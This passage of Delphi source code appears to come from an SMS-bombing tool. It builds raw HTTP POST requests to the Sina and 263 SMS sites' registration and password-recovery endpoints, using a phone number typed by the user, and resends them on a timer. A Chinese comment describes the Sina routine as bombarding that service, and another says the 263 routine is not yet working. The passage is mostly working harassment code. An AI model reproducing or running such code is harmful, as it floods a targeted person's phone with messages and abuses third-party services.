sends:=sends+'accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*'+#13#10;
sends:=sends+'referer: http://sms.sina.com.cn/docs/register.html'+#13#10;
sends:=sends+'accept-language: zh-cn'+#13#10;
sends:=sends+'content-type: application/x-www-form-urlencoded'+#13#10;
sends:=sends+'accept-encoding: gzip, deflate'+#13#10;
sends:=sends+'user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0; .net clr 1.1.4322)'+#13#10;
sends:=sends+'host: sms.sina.com.cn'+#13#10;
sends:=sends+'cache-control: no-cache'+#13+#10;
sends:=sends+'cookie: smslogin=0; usrtype=c'+#13+#10;
//发送的内容
url.inputstring:=trim(edit1.text);
sendc:='mobile='+url.encode;
sendc:=sendc+'&lang=1&ad_tag=1';
sends:=sends+'content-length: '+inttostr(length(sendc))+#13#10;
sends:=sends+'connection: keep-alive'+#13+#10+#13#10 +sendc;
clientsocket1.host :='202.108.37.148';
clientsocket1.port :=80;
clientsocket1.socket.sendtext(sends);
end;
procedure tform1.clientsocket1connect(sender: tobject;
socket: tcustomwinsocket);
begin
buildhttpheadforsina(); //对新浪短信网进行轰炸
end;
//定时发送
procedure tform1.timer1timer(sender: tobject);
begin
timer1.interval :=strtoint(trim(edit2.text));
timer1.enabled :=true;
buildhttpheadforsina();
end;
procedure tform1.edit1keypress(sender: tobject; var key: char);
begin
if not (key in ['0'..'9',#8,#13]) then
begin
key :=#0;
end;
end;
procedure tform1.edit2keypress(sender: tobject; var key: char);
begin
if not (key in ['0'..'9',#8,#13]) then
begin
key :=#0;
end;
end;
//这个是用于263短信网站的,目前还没试验成功
procedure tform1.buildhttpheadfor263;
var
sends,sendc:string;
begin
//http头信息
sends:='post /cgi-bin/mobile/bin/user_getpass.cgi http/1.1'+#13#10;
sends:=sends+'accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*'+#13#10;
sends:=sends+'referer: http://sms.263.net/getpass.html'+#13#10;
sends:=sends+'accept-language: zh-cn'+#13#10;
sends:=sends+'content-type: application/x-www-form-urlencoded'+#13#10;
sends:=sends+'accept-encoding: gzip, deflate'+#13#10;
sends:=sends+'user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0; .net clr 1.1.4322)'+#13#10;
sends:=sends+'host: sms.263.net'+#13#10;
sends:=sends+'cache-control: no-cache'+#13+#10;
sends:=sends+'cookie: smslogin=0; usrtype=c'+#13+#10;
//发送的内容
url.inputstring:=trim(edit1.text);
sendc:='phone='+url.encode;
sendc:=sendc+'&submit2=%c8%b7%b6%a8';
sends:=sends+'content-length: '+inttostr(length(sendc))+#13#10;
sends:=sends+'connection: keep-alive'+#13+#10+#13#10 +sendc;
clientsocket1.host :='210.78.128.62';
clientsocket1.port :=80;
clientsocket1.socket.sendtext(sends);